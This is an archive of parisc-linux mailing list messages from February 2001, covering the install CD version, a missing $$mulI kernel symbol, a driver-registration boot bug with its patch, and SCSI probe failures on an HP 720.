Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] cd image
Date: Thu, 01 Feb 2001 08:37:34 -0700
Lines: 15
Approved: news@gmane.org
Message-ID: <20010201153734.C3F4638643@carmen.fc.hp.com>
References: <200102011517.KAA00751@laocoon.cs.brandeis.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619819 14846 80.91.229.3 (22 Nov 2014 01:30:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:19 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Aaron Macks <aaronm@cs.brandeis.edu>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Feb  1 08:35:37 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel1.hp.com (atlrel1.hp.com [156.153.255.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9626D4A18
	for <parisc-linux@lists.parisc-linux.org>; Thu,  1 Feb 2001 08:35:37 -0700 (MST)
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by atlrel1.hp.com (Postfix) with ESMTP
	id 231CF1D0; Thu,  1 Feb 2001 10:35:37 -0500 (EST)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP
	id C3F4638643; Thu,  1 Feb 2001 08:37:34 -0700 (MST)
X-Mailer: exmh version 2.2 06/23/2000 (debian 2.2-1) with nmh-1.0.4+dev
In-Reply-To: Your message of "Thu, 01 Feb 2001 10:17:24 EST."
             <200102011517.KAA00751@laocoon.cs.brandeis.edu> 
Xref: news.gmane.org gmane.linux.ports.parisc:10102

Aaron Macks writes...

> In the current install documentation, it describes booting of the dev
> release CD, is this the 11-2000 iso available, or a newer version?

11-2000 is the latest version.

-- 
Matt Taggart        Linux Development Lab
taggart@fc.hp.com   HP Linux Systems Operation






From - Thu Nov 08 21:16:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Rinux-Iternet" <rinux@iternet.it>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Start with my 712 monitor & keyboard
Date: Thu, 1 Feb 2001 20:29:07 +0100
Lines: 16
Approved: news@gmane.org
Message-ID: <004201c08c85$54f73500$e79a953e@rinux>
References: <200102011004.DAA23242@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619820 14852 80.91.229.3 (22 Nov 2014 01:30:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:20 +0000 (UTC)
To: <parisc-linux@thepuffingroup.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Feb  1 12:26:47 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 134CC4A18
	for <parisc-linux@lists.parisc-linux.org>; Thu,  1 Feb 2001 12:26:47 -0700 (MST)
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA29878
	for <parisc-linux@puffin.external.hp.com>; Thu, 1 Feb 2001 12:22:37 -0700
Original-Received: (qmail 18937 invoked by uid 15267); 1 Feb 2001 19:26:43 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 18906 invoked from network); 1 Feb 2001 19:26:43 -0000
Original-Received: from smtp.technorail.com (HELO smtp.aruba.it) (62.149.128.19)
  by mailserv2.iuinc.com with SMTP; 1 Feb 2001 19:26:43 -0000
Original-Received: from rinux ([62.149.154.231]) by smtp.aruba.it with Microsoft SMTPSVC(5.0.2195.1600);
	 Thu, 1 Feb 2001 20:32:41 +0100
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4522.1200
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
X-OriginalArrivalTime: 01 Feb 2001 19:32:42.0574 (UTC) FILETIME=[BEC8BEE0:01C08C85]
Xref: news.gmane.org gmane.linux.ports.parisc:10103

Hi all,

I have a question for us:

I have installed pa linux 0.5 in remote on my hp pa risc:

I want to control my hp 712/60 with his keyboard and monitor, and not from
remote terminal.

I can do for it ?

Regards





From - Thu Nov 08 21:16:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] $$mulI missing
Date: Thu, 1 Feb 2001 11:46:47 -0800 (PST)
Lines: 10
Approved: news@gmane.org
Message-ID: <200102011946.LAA01082@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619820 14856 80.91.229.3 (22 Nov 2014 01:30:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:20 +0000 (UTC)
Cc: amodra@linuxcare.com
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Feb  1 12:44:37 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from palrel1.hp.com (palrel1.hp.com [156.153.255.242])
	by dsl2.external.hp.com (Postfix) with ESMTP id 152DB4A18
	for <parisc-linux@lists.parisc-linux.org>; Thu,  1 Feb 2001 12:44:37 -0700 (MST)
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel1.hp.com (Postfix) with ESMTP
	id 8F1BEB40; Thu,  1 Feb 2001 11:44:28 -0800 (PST)
Original-Received: (from grundler@localhost)
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) id LAA01082;
	Thu, 1 Feb 2001 11:46:47 -0800 (PST)
Xref: news.gmane.org gmane.linux.ports.parisc:10104

I enabled "CONFIG_MODULES" to build a 64-bit kernel
and got the following link error:
arch/parisc64/kernel/kernel.o(__ksymtab+0x300): undefined reference to `$$mulI'

I'll try to work around it by using HPUX's 64-bit libmilli.a.

grant




From - Thu Nov 08 21:16:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] $$mulI missing
Date: Thu, 01 Feb 2001 13:01:52 -0700
Lines: 16
Approved: news@gmane.org
Message-ID: <E14OPvU-0006yu-00@noam.fc.hp.com>
References: <200102011946.LAA01082@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619820 14860 80.91.229.3 (22 Nov 2014 01:30:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:20 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, amodra@linuxcare.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Feb  1 13:01:54 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel2.hp.com (atlrel2.hp.com [156.153.255.202])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7CE804A18
	for <parisc-linux@lists.parisc-linux.org>; Thu,  1 Feb 2001 13:01:54 -0700 (MST)
Original-Received: from hpfcla.fc.hp.com (hpfcla.fc.hp.com [15.254.48.2])
	by atlrel2.hp.com (Postfix) with ESMTP
	id B4170C4D; Thu,  1 Feb 2001 15:01:53 -0500 (EST)
Original-Received: from noam.fc.hp.com (mail@noam.fc.hp.com [15.1.52.69])
	by hpfcla.fc.hp.com (8.9.1/8.9.3 SMKit7.01) with ESMTP id NAA15686;
	Thu, 1 Feb 2001 13:01:52 -0700 (MST)
Original-Received: from localhost
	([127.0.0.1] helo=fc.hp.com ident=bame)
	by noam.fc.hp.com with esmtp (Exim 3.12 #1 (Debian))
	id 14OPvU-0006yu-00; Thu, 01 Feb 2001 13:01:52 -0700
In-Reply-To: Your message of "Thu, 01 Feb 2001 11:46:47 PST."
             <200102011946.LAA01082@milano.cup.hp.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:10105

= I enabled "CONFIG_MODULES" to build a 64-bit kernel
= and got the following link error:
= arch/parisc64/kernel/kernel.o(__ksymtab+0x300): undefined reference to `$$mul
I'
= 
= I'll try to work around it by using HPUX's 64-bit libmilli.a.

I didn't think the 64-bit compiler used mulI so didn't include it
in the millicode routines.  I'm curious what's using it.  I can
port the HP multiply routines if needed but want to make sure it's
really needed...

	-P




From - Thu Nov 08 21:16:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] $$mulI missing
Date: Thu, 01 Feb 2001 12:26:26 -0800
Lines: 42
Approved: news@gmane.org
Message-ID: <200102012026.MAA01201@milano.cup.hp.com>
References: <E14OPvU-0006yu-00@noam.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619820 14863 80.91.229.3 (22 Nov 2014 01:30:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:20 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, amodra@linuxcare.com
To: Paul Bame <bame@fc.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Feb  1 13:24:21 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from palrel1.hp.com (palrel1.hp.com [156.153.255.242])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0D34A4A18
	for <parisc-linux@lists.parisc-linux.org>; Thu,  1 Feb 2001 13:24:21 -0700 (MST)
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel1.hp.com (Postfix) with ESMTP
	id D6B8C1610; Thu,  1 Feb 2001 12:24:14 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id MAA01201;
	Thu, 1 Feb 2001 12:26:30 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Thu, 01 Feb 2001 13:01:52 PST."
             <E14OPvU-0006yu-00@noam.fc.hp.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:10106

Paul Bame wrote:
> I didn't think the 64-bit compiler used mulI so didn't include it
> in the millicode routines.  I'm curious what's using it.

    arch/parisc/kernel/parisc_ksyms.c

Exported for (guess what?) CONFIG_MODULE support. :^/

I've committed the following patch. Paul tells me on 64 bit, millicode looks
to be limited to div* and rem*.

grant

diff -u -p -r1.11 parisc_ksyms.c
--- parisc_ksyms.c      2000/12/31 01:42:06     1.11
+++ parisc_ksyms.c      2001/02/01 20:16:08
@@ -97,8 +97,6 @@ extern void $$divI(void);
 extern void $$divU(void);
 extern void $$remI(void);
 extern void $$remU(void);
-extern void $$mulI(void);
-extern void $$mulU(void);
 extern void $$divU_3(void);
 extern void $$divU_5(void);
 extern void $$divU_6(void);
@@ -122,8 +120,6 @@ EXPORT_SYMBOL_NOVERS($$divI);
 EXPORT_SYMBOL_NOVERS($$divU);
 EXPORT_SYMBOL_NOVERS($$remI);
 EXPORT_SYMBOL_NOVERS($$remU);
-EXPORT_SYMBOL_NOVERS($$mulI);
-EXPORT_SYMBOL_NOVERS($$mulU);
 EXPORT_SYMBOL_NOVERS($$divU_3);
 EXPORT_SYMBOL_NOVERS($$divU_5);
 EXPORT_SYMBOL_NOVERS($$divU_6);


Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253




From - Thu Nov 08 21:16:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: 5116@telia.com
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] register_fallback_cpu()
Date: Thu, 1 Feb 2001 23:15:05 +0100 (CET)
Lines: 20
Approved: news@gmane.org
Message-ID: <200102012215.XAA10566@zaphod.halden.lillfab.se>
References: <200102010541.VAA00554@milano.cup.hp.com>
Reply-To: 5116@telia.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/plain; CHARSET=US-ASCII
X-Trace: ger.gmane.org 1416619821 14868 80.91.229.3 (22 Nov 2014 01:30:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:21 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Feb  1 15:15:21 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id E04894A18
	for <parisc-linux@lists.parisc-linux.org>; Thu,  1 Feb 2001 15:15:20 -0700 (MST)
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id PAA31769
	for <parisc-linux@puffin.external.hp.com>; Thu, 1 Feb 2001 15:11:11 -0700
Original-Received: (qmail 16168 invoked by uid 15267); 1 Feb 2001 22:15:09 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 16123 invoked from network); 1 Feb 2001 22:15:07 -0000
Original-Received: from maila.telia.com (194.22.194.231)
  by mailserv2.iuinc.com with SMTP; 1 Feb 2001 22:15:07 -0000
Original-Received: from zaphod.halden.lillfab.se (t5o70p21.telia.com [195.67.239.21])
	by maila.telia.com (8.9.3/8.9.3) with ESMTP id XAA10253;
	Thu, 1 Feb 2001 23:15:05 +0100 (CET)
Original-Received: (from danne@localhost)
	by zaphod.halden.lillfab.se (8.9.3/8.9.3) id XAA10566;
	Thu, 1 Feb 2001 23:15:05 +0100
In-Reply-To: <200102010541.VAA00554@milano.cup.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:10107

On 31 Jan, Grant Grundler wrote:
> But I don't think it's related to the register_fallback_cpu() code changes
> I made. Maybe something else I submitted that day...
I now have it booting, b ut not with today's cvs I had to revert to
2001-01-31. 
The problem is that register_driver only tries the first structure in
the array it gets, and the ASP is second in the array in busdevice.c
which causes it to never be initialized.

I also noticed that the busdev_driver_for array is marked as initdata,
but a pointer to it gets saved in arch/parisc/drivers.c.

Best Regards, Daniel

-- 






From - Thu Nov 08 21:16:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: 5116@telia.com
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] register_fallback_cpu()
Date: Thu, 1 Feb 2001 23:15:57 +0100 (CET)
Lines: 78
Approved: news@gmane.org
Message-ID: <200102012215.XAA10570@zaphod.halden.lillfab.se>
References: <200102010541.VAA00554@milano.cup.hp.com>
Reply-To: 5116@telia.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: MULTIPART/mixed; BOUNDARY="-1463811727-1804289383-981065757=:6612"
X-Trace: ger.gmane.org 1416619821 14870 80.91.229.3 (22 Nov 2014 01:30:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:21 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Feb  1 15:16:15 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 02BA04A18
	for <parisc-linux@lists.parisc-linux.org>; Thu,  1 Feb 2001 15:16:15 -0700 (MST)
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id PAA31772
	for <parisc-linux@puffin.external.hp.com>; Thu, 1 Feb 2001 15:12:06 -0700
Original-Received: (qmail 17937 invoked by uid 15267); 1 Feb 2001 22:16:13 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 17925 invoked from network); 1 Feb 2001 22:16:13 -0000
Original-Received: from mailb.telia.com (root@194.22.194.6)
  by mailserv2.iuinc.com with SMTP; 1 Feb 2001 22:16:13 -0000
Original-Received: from zaphod.halden.lillfab.se (t5o70p21.telia.com [195.67.239.21])
	by mailb.telia.com (8.9.3/8.9.3) with ESMTP id XAA05457;
	Thu, 1 Feb 2001 23:15:57 +0100 (CET)
Original-Received: (from danne@localhost)
	by zaphod.halden.lillfab.se (8.9.3/8.9.3) id XAA10570;
	Thu, 1 Feb 2001 23:15:57 +0100
In-Reply-To: <200102010541.VAA00554@milano.cup.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:10108

---1463811727-1804289383-981065757=:6612
Content-Type: TEXT/plain; CHARSET=US-ASCII

On 31 Jan, Grant Grundler wrote:

.... And the patch... 

/Daniel
-- 


---1463811727-1804289383-981065757=:6612
Content-Type: TEXT/plain; CHARSET=US-ASCII
Content-Disposition: attachment ; filename="boot-fail.diff"

Index: arch/parisc/kernel/drivers.c
===================================================================
RCS file: /home/cvs/parisc/linux/arch/parisc/kernel/drivers.c,v
retrieving revision 1.10
diff -r1.10 drivers.c
54,76c54,81
< 
< 	/* link driver to the head of the global list.
< 	** The list gets built in reverse order...ideally, it shouldn't
< 	** matter but reality will eventually rear it's ugly head.
< 	*/
< 	driver->next = pa_drivers;
< 	pa_drivers = driver;
< 
< 	for (i=0; i < num_devices; i++) {
< 		device = &pa_devices[i];
< 
< 		if (device->managed)			continue;
< 		if (0 == compare_spec(device, driver))	continue;
< 
< 		if ( (*driver->callback)(device,driver) ==0) {
< 			device->managed=1;
< 		} else {
< 			printk("Warning : device (%d, 0x%x, 0x%x, 0x%x, 0x%x) NOT claimed by %s %s\n",
< 				device->hw_type,
< 				device->hversion, device->hversion_rev,
< 				device->sversion, device->sversion_rev,
< 				driver->name, driver->version);
< 		}
---
>         
>         while(0!=driver->hw_type) {
> 	   
> 	       /* link driver to the head of the global list.
> 	       ** The list gets built in reverse order...ideally, it shouldn't
> 	       ** matter but reality will eventually rear it's ugly head.
> 	       */
> 	       driver->next = pa_drivers;
> 	       pa_drivers = driver;
>         
>     
> 	       for (i=0; i < num_devices; i++) {
> 	        	device = &pa_devices[i];
> 
> 		       if (device->managed)			continue;
> 		       if (0 == compare_spec(device, driver))	continue;
> 
> 		       if ( (*driver->callback)(device,driver) ==0) {
> 			         device->managed=1;
> 		       } else {
> 			         printk("Warning : device (%d, 0x%x, 0x%x, 0x%x, 0x%x) NOT claimed by %s %s\n",
> 				        device->hw_type,
> 				        device->hversion, device->hversion_rev,
> 					device->sversion, device->sversion_rev,
> 					driver->name, driver->version);
> 		       }
> 	       }
> 	       driver++;

---1463811727-1804289383-981065757=:6612--




From - Thu Nov 08 21:16:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@dot.at>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 720/50 SCSI - supported?
Date: Thu, 01 Feb 2001 23:45:23 +0100
Organization: private
Lines: 76
Approved: news@gmane.org
Message-ID: <3A79E703.390B75AB@dot.at>
References: <200102011141.WAA11608@customware.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619821 14872 80.91.229.3 (22 Nov 2014 01:30:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:21 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: penfold@customware.com.au
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Feb  1 15:50:26 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 929544A18
	for <parisc-linux@lists.parisc-linux.org>; Thu,  1 Feb 2001 15:50:26 -0700 (MST)
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id PAA32661
	for <parisc-linux@puffin.external.hp.com>; Thu, 1 Feb 2001 15:46:17 -0700
Original-Received: (qmail 10969 invoked by uid 15267); 1 Feb 2001 22:50:24 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 1980 invoked from network); 1 Feb 2001 22:46:00 -0000
Original-Received: from dns2.dot.at (212.9.128.3)
  by mailserv2.iuinc.com with SMTP; 1 Feb 2001 22:46:00 -0000
Original-Received: from dot.at (IDENT:plattner@dot-tc01-023.dot.at [212.9.128.63])
	by dns2.dot.at (8.9.3/8.9.2) with ESMTP id XAA07928;
	Thu, 1 Feb 2001 23:55:02 +0100
Original-Sender: plattner@dns2.dot.at
X-Mailer: Mozilla 4.72 [en] (X11; U; Linux 2.2.18 i586)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:10109

Ni, I don't know this problem. The only problem I had was with the
floppy in
my 720. One command is not supported (or so, I have not debugged it).
For the first tests I disconnects the SCSI cable from the floppy
interface card
to be able to boot faster, as the SCSI driver does retries.

Cheers
	Christoph P.


penfold@customware.com.au wrote:
> 
> Hi,
> 
> after successfully cross compiling a kernel, I have a problem!
> 
> The initial bus scan seems to see the scsi controller:
> model   00002000 00000481 00000000 00000000 775e3623 000011f4 00000004 0000000d
> 00000000
> vers    00000003
> CPUID   vers 0 rev 0
> model   9000/720
> led_init: CPU_HVERSION 200
> Searching for devices in PDC firmware... processor hpa 0xfffbe000
>  an older box...
> Found devices:
> 1. Cobra Core BA (11) at 0xf082f000, versions 0x4, 0x0, 0x70, 0x0, 0x0
> 2. Cobra Core SCSI (10) at 0xf0825000, versions 0x4, 0x0, 0x71, 0x0, 0x0
> 
> but the driver seems to have a problem here!
> 
> SCSI subsystem driver Revision: 1.00
> sim700: Couldn't get consistent shared memory
> sim700: Configuring 53c700 (SCSI-ID 7) at f0825100, IRQ 86
> scsi0: Revision 0x0
> Post test1, istat 05, sstat0 00, dstat 81
> sim700: WARNING IRQ probe failed, (returned 0)
> scsi0: test 1 FAILED: dsps: exp 0xab93001d, got 0x65686361
> scsi0: Chip register contents:
>  (script[0] at virt c7f70000, bus 7f70000)
>  00  sien:  af  sdid:  00  scntl1:20  scntl0:c4
>  04  socl:  00  sodl:  00  sxfer: 00  scid:  80
>  08  sbcl:  00  sbdl:  00  sidl:  00  sfbr:  00
>  0C  sstat2:00  sstat1:00  sstat0:00  dstat: 80
>  10
>  14  ctest3:92  ctest2:21  ctest1:f0  ctest0:00
>  18  ctest7:00  ctest6:53  ctest5:00  ctest4:00
>  1C  temp:  00000000
>  20              ctest8:ff  istat: 06  dfifo: 32
>  24  dbc:   635f7472  dnad:  65686361  dsp:   07f774b4
>  30  dsps:  65686361
>  34  dmode: 80
>  38  dcntl: 80  dwt:   00  dien:  1d
>  3C
> Warning : device (10, 0x4, 0x0, 0x71, 0x0) NOT claimed by Lasi SCSI 53c700
> 
> Is this a known problem ?
> 
> thanks,
> 
> Damian
> penfold@customware.com.au
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux

-- 
-------------------------------------------------------------------------
private:	christoph.plattner@dot.at
company:	christoph.plattner@alcatel.at




From - Thu Nov 08 21:16:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] register_fallback_cpu()
Date: Thu, 1 Feb 2001 22:28:35 +0000
Lines: 8
Approved: news@gmane.org
Message-ID: <20010201222835.A18233@parcelfarce.linux.theplanet.co.uk>
References: <200102010541.VAA00554@milano.cup.hp.com> <200102012215.XAA10570@zaphod.halden.lillfab.se>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619822 14875 80.91.229.3 (22 Nov 2014 01:30:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:22 +0000 (UTC)
Cc: Grant Grundler <grundler@cup.hp.com>,
	parisc-linux@thepuffingroup.com
To: 5116@telia.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Feb  1 16:02:16 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 33B6C4A18
	for <parisc-linux@lists.parisc-linux.org>; Thu,  1 Feb 2001 16:02:16 -0700 (MST)
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id PAA32730
	for <parisc-linux@puffin.external.hp.com>; Thu, 1 Feb 2001 15:58:07 -0700
Original-Received: (qmail 338 invoked by uid 15267); 1 Feb 2001 23:02:13 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 32728 invoked from network); 1 Feb 2001 23:02:12 -0000
Original-Received: from parcelfarce.linux.theplanet.co.uk (HELO www.linux.org.uk) (195.92.249.252)
  by mailserv2.iuinc.com with SMTP; 1 Feb 2001 23:02:12 -0000
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14OSDT-00065V-00; Thu, 01 Feb 2001 22:28:35 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2i
In-Reply-To: <200102012215.XAA10570@zaphod.halden.lillfab.se>; from 5116@telia.com on Thu, Feb 01, 2001 at 11:15:57PM +0100
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:10110

please use the .cvsrc distributed in the `buildtools' cvs archive.  this
ensures that your diffs are generated in the correct format (ie unified)

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:16:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] $$mulI missing
Date: Fri, 2 Feb 2001 10:30:28 +1100 (EST)
Lines: 22
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0102021028560.19209-100000@front.linuxcare.com.au>
References: <200102012026.MAA01201@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619822 14878 80.91.229.3 (22 Nov 2014 01:30:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:22 +0000 (UTC)
Cc: Paul Bame <bame@fc.hp.com>, parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Feb  1 16:35:06 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from front.linuxcare.com.au (linuxcare.com.au [203.29.91.49])
	by dsl2.external.hp.com (Postfix) with ESMTP id 549E64A18
	for <parisc-linux@lists.parisc-linux.org>; Thu,  1 Feb 2001 16:35:05 -0700 (MST)
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id KAA12066;
	Fri, 2 Feb 2001 10:30:28 +1100
In-Reply-To: <200102012026.MAA01201@milano.cup.hp.com>
